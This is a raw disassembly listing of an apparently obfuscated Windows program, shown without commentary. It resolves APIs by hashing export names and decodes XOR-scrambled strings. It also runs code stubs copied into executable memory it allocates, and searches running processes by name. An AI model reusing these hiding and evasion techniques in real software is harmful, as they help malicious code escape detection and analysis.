mov r8, rax
test rax, rax
jne 0x140064500
mov r8, r12
jmp 0x14006459e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064510
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
mov qword [r13 + rax*8 + 0x14c520], r14
mov qword [r13 + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x78]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
cmp qword [0x14014a188], 0
je 0x1400640d0
cmp qword [0x14014a180], 0
jne 0x140064bf1
nop dword [rax]
movdqa xmm1, xmmword [0x1400d9470]
movdqu xmmword [rbp + 0x730], xmm1
mov dl, reloc.WLDAP32.dll_Ordinal_45
mov r8b, 0x5f
mov r9b, 0x68
mov r10b, WSAGetLastError
mov r11b, 0x62
mov bl, 0x7f
mov dil, 0x69
movzx esi, r9b
movzx r14d, bl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x731], al
xor byte [rbp + 0x732], cl
xor byte [rbp + 0x733], cl
xor byte [rbp + 0x734], cl
xor byte [rbp + 0x735], cl
xor byte [rbp + 0x736], cl
xor byte [rbp + 0x737], cl
xor byte [rbp + 0x738], cl
xor byte [rbp + 0x739], cl
xor byte [rbp + 0x73a], cl
xor byte [rbp + 0x73b], cl
xor byte [rbp + 0x73c], cl
xor byte [rbp + 0x73d], cl
xor byte [rbp + 0x73e], cl
xor byte [rbp + 0x73f], cl
xor dl, cl
mov byte [rbp + 0x740], dl
xor r8b, cl
mov byte [rbp + 0x741], r8b
xor r9b, cl
mov byte [rbp + 0x742], r9b
xor r10b, cl
mov byte [rbp + 0x743], r10b
xor r11b, cl
mov byte [rbp + 0x744], r11b
xor bl, cl
mov byte [rbp + 0x745], bl
xor dil, cl
mov byte [rbp + 0x746], dil
xor sil, cl
mov byte [rbp + 0x747], sil
xor r14b, cl
mov byte [rbp + 0x748], r14b
mov byte [rbp + 0x749], 0
movdqa xmm1, xmmword [0x1400d9320]
movdqu xmmword [rbp + 0x750], xmm1
mov cl, 0x79
mov r8b, 0x60
mov r9b, 0x43
mov r10b, WSAStartup
mov r11b, 0x66
mov bl, 0x75
mov dil, 0x52
movzx esi, cl
mov r14b, 0x64
mov r15b, 0x63
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x751], al
xor byte [rbp + 0x752], dl
xor byte [rbp + 0x753], dl
xor byte [rbp + 0x754], dl
xor byte [rbp + 0x755], dl
xor byte [rbp + 0x756], dl
xor byte [rbp + 0x757], dl
xor byte [rbp + 0x758], dl
xor byte [rbp + 0x759], dl
xor byte [rbp + 0x75a], dl
xor byte [rbp + 0x75b], dl
xor byte [rbp + 0x75c], dl
xor byte [rbp + 0x75d], dl
xor byte [rbp + 0x75e], dl
xor byte [rbp + 0x75f], dl
xor cl, dl
mov byte [rbp + 0x760], cl
xor r8b, dl
mov byte [rbp + 0x761], r8b
xor r9b, dl
mov byte [rbp + 0x762], r9b
xor r10b, dl
mov byte [rbp + 0x763], r10b
xor r11b, dl
mov byte [rbp + 0x764], r11b
xor bl, dl
mov byte [rbp + 0x765], bl
xor dil, dl
mov byte [rbp + 0x766], dil
xor sil, dl
mov byte [rbp + 0x767], sil
xor r14b, dl
mov byte [rbp + 0x768], r14b
xor r15b, dl
mov byte [rbp + 0x769], r15b
mov byte [rbp + 0x76a], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140064876
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140064876
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x1439260c
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140064871
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140064850
cmp r8d, 0x3c78b91a
je 0x14006487b
test r9d, r9d
jne 0x140064830
mov rax, qword [rax]
jmp 0x140064800
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x731]
lea rcx, [rbp + 0x751]
call r8
mov qword [0x14014a180], rax
test rax, rax
jne 0x140064bf1
movdqa xmm1, xmmword [0x1400d9360]
movdqu xmmword [rbp + 0x790], xmm1
mov cl, 0x5f
mov dl, 0x41
mov r8b, 0x4c
mov r9b, 0x54
mov r11b, reloc.WS2_32.dll_listen
mov bl, 0x5a
mov dil, 0x44
mov sil, 0x43
mov r14b, 0x49
mov r15b, 0x42
movzx r12d, bl
mov r13b, 3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rbp + 0x791], al
xor byte [rbp + 0x792], r10b
xor byte [rbp + 0x793], r10b
xor byte [rbp + 0x794], r10b
xor byte [rbp + 0x795], r10b
xor byte [rbp + 0x796], r10b
xor byte [rbp + 0x797], r10b
xor byte [rbp + 0x798], r10b
xor byte [rbp + 0x799], r10b
xor byte [rbp + 0x79a], r10b
xor byte [rbp + 0x79b], r10b
xor byte [rbp + 0x79c], r10b
xor byte [rbp + 0x79d], r10b
xor byte [rbp + 0x79e], r10b
xor byte [rbp + 0x79f], r10b
xor cl, r10b
mov byte [rbp + 0x7a0], cl
xor dl, r10b
mov byte [rbp + 0x7a1], dl
xor r8b, r10b
mov byte [rbp + 0x7a2], r8b
xor r9b, r10b
mov byte [rbp + 0x7a3], r9b
xor r11b, r10b
mov byte [rbp + 0x7a4], r11b
xor bl, r10b
mov byte [rbp + 0x7a5], bl
xor dil, r10b
mov byte [rbp + 0x7a6], dil
xor sil, r10b
mov byte [rbp + 0x7a7], sil
xor r14b, r10b
mov byte [rbp + 0x7a8], r14b
xor r15b, r10b
mov byte [rbp + 0x7a9], r15b
xor r12b, r10b
mov byte [rbp + 0x7aa], r12b
xor r13b, r10b
mov byte [rbp + 0x7ab], r13b
mov al, 3
xor al, r10b
mov byte [rbp + 0x7ac], al
mov byte [rbp + 0x7ad], 0
lea rdx, [rbp + 0x791]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x1b58
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x808], 9
mov al, 0x6a
mov cl, 0x65
mov dl, 0x7a
xor r8d, r8d
xor al, 9
mov byte [rbp + 0x809], al
xor cl, 9
mov byte [rbp + 0x80a], cl
xor dl, 9
mov byte [rbp + 0x80b], dl
mov byte [rbp + 0x80c], r8b
lea rax, [rbp + 0x809]
mov qword [rbp + 0x80], rax
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x1a0], r15
lea rsi, [rbp + 0xc18]
mov qword [rbp + 0x1a8], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x198], rdi
xor r12d, r12d
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014c520]
lea r13, [0x140000000]
lea r14, [0x14004b9e0]
test rax, rax
je 0x140064ae1
mov edx, r12d
cmp rax, r14
je 0x140064ad0
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c520]
test rax, rax
jne 0x140064ab8
jmp 0x140064ae1
mov r8, qword [r13 + rdx*8 + 0x14c840]
test r8, r8
jne 0x140064bcf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140064b08
mov r8, r12
jmp 0x140064bae
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064b20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
mov qword [r13 + rax*8 + 0x14c520], r14
mov qword [r13 + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x80]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
cmp qword [0x14014a180], 0
je 0x1400645f0
mov edx, 0x53
mov dword [rsp + 0x50], edx
mov word [rbp + 0x8d8], dx
mov ecx, gethostname
lea esi, [rdx - 0x28]
movzx edi, cx
movzx r14d, cx
movzx r15d, dx
movzx eax, word [0x1400d8e46]
xor ax, dx
mov word [rsp + 0x78], ax
movzx r12d, word [str.invalid_vector_subscript]
xor r12w, dx
movzx ebx, word [0x1400d8e4a]
xor bx, dx
movzx r11d, word [0x1400d8e4c]
xor r11w, dx
movzx r10d, word [0x1400d8e4e]
xor r10w, dx
movzx r9d, word [0x1400d8e50]
xor r9w, dx
movzx r8d, word [0x1400d8e52]
xor r8w, dx
movzx edx, word [0x1400d8e54]
xor dx, r15w
movzx ecx, word [0x1400d8e56]
xor cx, r15w
movzx eax, word [0x1400d8e58]
xor ax, r15w
mov r13d, reloc.WLDAP32.dll_Ordinal_33
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8da], r13w
mov r13d, 0x66
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8dc], r13w
mov r13d, reloc.WLDAP32.dll_Ordinal_50
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8de], r13w
mov r13d, reloc.WLDAP32.dll_Ordinal_35
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8e0], r13w
mov r13d, gethostname
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8e2], r13w
mov r13d, esi
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8e4], r13w
mov r13d, 0x7d
xor r13w, word [rsp + 0x50]
mov word [rbp + 0x8e6], r13w
mov r13d, 0x53
xor di, r13w
mov word [rbp + 0x8e8], di
xor si, r13w
mov word [rbp + 0x8ea], si
xor r14w, r13w
mov word [rbp + 0x8ec], r14w
xor r15w, r13w
mov word [rbp + 0x8ee], r15w
movzx edi, word [rsp + 0x78]
xor di, r13w
mov word [rbp + 0x8f0], di
xor r12w, r13w
mov word [rbp + 0x8f2], r12w
xor bx, r13w
mov word [rbp + 0x8f4], bx
xor r11w, r13w
mov word [rbp + 0x8f6], r11w
xor r10w, r13w
mov word [rbp + 0x8f8], r10w
xor r9w, r13w
mov word [rbp + 0x8fa], r9w
xor r8w, r13w
mov word [rbp + 0x8fc], r8w
xor dx, r13w
mov word [rbp + 0x8fe], dx
xor cx, r13w
mov word [rbp + 0x900], cx
xor ax, r13w
mov word [rbp + 0x902], ax
xor r13d, r13d
mov word [rbp + 0x904], r13w
mov r14d, r13d
mov esi, r13d
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r15, rax
mov dword [rbp + 0xa90], 0x130
lea rdx, [rbp + 0xa90]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
lea rdx, [rbp + 0xa90]
mov rcx, r15
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140064ec7
nop dword [rax]
lea rcx, [rbp + 0xabc]
mov edx, r13d
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140064e31
inc edx
test rcx, rcx
jne 0x140064e20
movsxd rbx, edx
inc rbx
mov eax, 2
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400c8b64
mov rdi, rax
mov r8, rbx
lea rdx, [rbp + 0xabc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
test rdi, rdi
je 0x140064e9d
movzx edx, word [rbp + 0x8da]
movzx eax, word [rdi]
sub eax, edx
jne 0x140064e99
lea rcx, [rbp + 0x8da]
sub rcx, rdi
test dx, dx
je 0x140064e99
add rdi, 2
movzx edx, word [rdi + rcx]
movzx eax, word [rdi]
sub eax, edx
je 0x140064e85
test eax, eax
jne 0x140064eb0
mov eax, dword [rbp + 0xaac]
cmp eax, esi
jbe 0x140064eb0
mov esi, eax
mov r14d, dword [rbp + 0xa98]
lea rdx, [rbp + 0xa90]
mov rcx, r15
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140064e10
mov dword [0x14014a1e8], r14d
mov r14d, 3
cmp qword [0x140149f60], r13
jne 0x1400652fb
lea r15, [rbp + 0xc18]
lea r12, [0x14004b9e0]
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2d4], xmm0
movups xmmword [rbp + 0x2e4], xmm0
movups xmmword [rbp + 0x2f4], xmm0
movups xmmword [rbp + 0x304], xmm0
movups xmmword [rbp + 0x314], xmm0
movups xmmword [rbp + 0x324], xmm0
movups xmmword [rbp + 0x334], xmm0
movups xmmword [rbp + 0x344], xmm0
movups xmmword [rbp + 0x354], xmm0
mov dword [rbp + 0x364], eax
mov dword [rbp + 0x2d0], r14d
mov byte [rbp + 0x800], reloc.WLDAP32.dll_Ordinal_27
mov al, reloc.WLDAP32.dll_Ordinal_41
mov cl, 0x2a
mov dl, Ordinal_41
mov r8b, reloc.WLDAP32.dll_Ordinal_46
mov r9b, 0x2f
xor r10d, r10d
xor al, 0x1b
mov byte [rbp + 0x801], al
xor cl, 0x1b
mov byte [rbp + 0x802], cl
xor dl, 0x1b
mov byte [rbp + 0x803], dl
xor r8b, 0x1b
mov byte [rbp + 0x804], r8b
xor r9b, 0x1b
mov byte [rbp + 0x805], r9b
mov byte [rbp + 0x806], r10b
lea r9, [rbp + 0x801]
lea ecx, [r10 + 0x33]
call fcn.140053470
mov r8, rax
movzx eax, byte [rbp + 0x801]
cmp al, 0x30
jl 0x140064fd8
nop dword [rax]
cmp al, 0x39
jg 0x140064fd8
mov ecx, 0x62b
call fcn.140053470
imul r8d, eax
movsx eax, byte [r9]
add r8d, 0xffffffd0
add r8d, eax
inc r9
movzx eax, byte [r9]
cmp al, 0x30
jge 0x140064fb0
mov dword [rbp + 0x2d4], r8d
mov eax, dword [0x14014a1e8]
mov dword [rbp + 0x320], eax
lea rcx, [rbp + 0x2d0]
call fcn.14005fee0
mov rax, qword [rbp + 0x2d8]
mov qword [0x14014a1f0], rax
mov rax, qword [rbp + 0x328]
mov qword [0x140149f60], rax
test rax, rax
jne 0x1400652fb
movdqa xmm1, xmmword [0x1400d9210]
movdqu xmmword [rbp + 0x6f0], xmm1
mov cl, gethostname
mov r8b, 0x7d
mov r9b, 0x3f
mov r10b, reloc.WLDAP32.dll_Ordinal_60
mov r11b, reloc.WLDAP32.dll_Ordinal_46
movzx ebx, cl
mov dil, reloc.WS2_32.dll_WSAStartup
movzx esi, dil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x6f1], al
xor byte [rbp + 0x6f2], dl
xor byte [rbp + 0x6f3], dl
xor byte [rbp + 0x6f4], dl
xor byte [rbp + 0x6f5], dl
xor byte [rbp + 0x6f6], dl
xor byte [rbp + 0x6f7], dl
xor byte [rbp + 0x6f8], dl
xor byte [rbp + 0x6f9], dl
xor byte [rbp + 0x6fa], dl
xor byte [rbp + 0x6fb], dl
xor byte [rbp + 0x6fc], dl
xor byte [rbp + 0x6fd], dl
xor byte [rbp + 0x6fe], dl
xor byte [rbp + 0x6ff], dl
xor cl, dl
mov byte [rbp + 0x700], cl
xor r8b, dl
mov byte [rbp + 0x701], r8b
xor r9b, dl
mov byte [rbp + 0x702], r9b
xor r10b, dl
mov byte [rbp + 0x703], r10b
xor r11b, dl
mov byte [rbp + 0x704], r11b
xor bl, dl
mov byte [rbp + 0x705], bl
xor dil, dl
mov byte [rbp + 0x706], dil
xor sil, dl
mov byte [rbp + 0x707], sil
mov byte [rbp + 0x708], 0
lea rdx, [rbp + 0x6f1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x1b58
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x810], 0x65
mov al, 6
mov cl, 9
mov dl, reloc.WLDAP32.dll_Ordinal_22
xor r8d, r8d
xor al, 0x65
mov byte [rbp + 0x811], al
xor cl, 0x65
mov byte [rbp + 0x812], cl
xor dl, 0x65
mov byte [rbp + 0x813], dl
mov byte [rbp + 0x814], r8b
lea rax, [rbp + 0x811]
mov qword [rbp + 0x88], rax
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c0], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x1b0], rdi
mov qword [r15], r13
mov ecx, r13d
mov rax, qword [0x14014c520]
lea rsi, [0x140000000]
test rax, rax
je 0x1400651ea
mov rdx, r13
cmp rax, r12
je 0x1400651d9
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14c520]
test rax, rax
jne 0x1400651c1
jmp 0x1400651ea
mov r8, qword [rsi + rdx*8 + 0x14c840]
test r8, r8
jne 0x1400652cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140065211
mov r8, r13
jmp 0x1400652ae
mov rax, r12
mov rcx, r8
mov rdx, r14
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140065220
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
mov qword [rsi + rax*8 + 0x14c520], r12
mov qword [rsi + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x88]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [r15], rdi
cmp qword [0x140149f60], 0
je 0x140064ef0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x818], 0x54
mov al, 0x37
mov cl, gethostname
mov dl, 0x27
xor r8d, r8d
xor al, 0x54
mov byte [rbp + 0x819], al
xor cl, 0x54
mov byte [rbp + 0x81a], cl
xor dl, 0x54
mov byte [rbp + 0x81b], dl
mov byte [rbp + 0x81c], r8b
lea rax, [rbp + 0x819]
mov qword [rbp + 0x90], rax
lea r15, [rbp + 0xc18]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x1c8], rdi
mov qword [r15], r13
mov ecx, r13d
mov rax, qword [0x14014c520]
lea rsi, [0x140000000]
lea r12, [0x14004b9e0]
test rax, rax
je 0x1400653b9
mov rdx, r13
cmp rax, r12
je 0x1400653a8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14c520]
test rax, rax
jne 0x140065390
jmp 0x1400653b9
mov r8, qword [rsi + rdx*8 + 0x14c840]
test r8, r8
jne 0x14006549f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400653e0
mov r8, r13
jmp 0x14006547e
mov rax, r12
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400653f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
mov qword [rsi + rax*8 + 0x14c520], r12
mov qword [rsi + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x90]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [r15], rdi
mov rbx, qword [sym.imp.KERNEL32.dll_Beep]
mov dword [rbp - 0x48], Ordinal_301
mov dword [rbp - 0x60], 0x64
lea r12, [rbp + 0xc18]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], r12
mov rdi, qword [r12]
xor rdi, rax
mov qword [rbp + 0xb0], rdi
mov qword [r12], r13
mov ecx, r13d
lea r15, [0x14004b830]
mov rax, qword [0x14014f7f0]
test rax, rax
je 0x14006553b
mov rdx, r13
cmp rax, r15
je 0x14006552a
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14f7f0]
test rax, rax
jne 0x140065512
jmp 0x14006553b
mov r10, qword [rsi + rdx*8 + 0x14fb10]
test r10, r10
jne 0x14006561f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140065562
mov r10, r13
jmp 0x1400655fe
mov rax, r15
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x140065570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014f7e0]
mov qword [rsi + rax*8 + 0x14f7f0], r15
mov qword [rsi + rax*8 + 0x14fb10], r10
inc rax
mov qword [0x14014f7e0], rax
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x60]
mov rcx, rbx
call r10
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [r12], rdi
mov ecx, 8
call fcn.1400c8afc
test rax, rax
je 0x14006565a
lea rcx, [0x140060860]
mov qword [rax], rcx
jmp 0x14006565d
mov rax, r13
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c490]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14006587e
mov qword [rbp + 0x98], r13
lea rcx, [rbp - 0x28]
call fcn.1400565d0
nop
cmp dword [rbp - 0x20], 0
jne 0x140065833
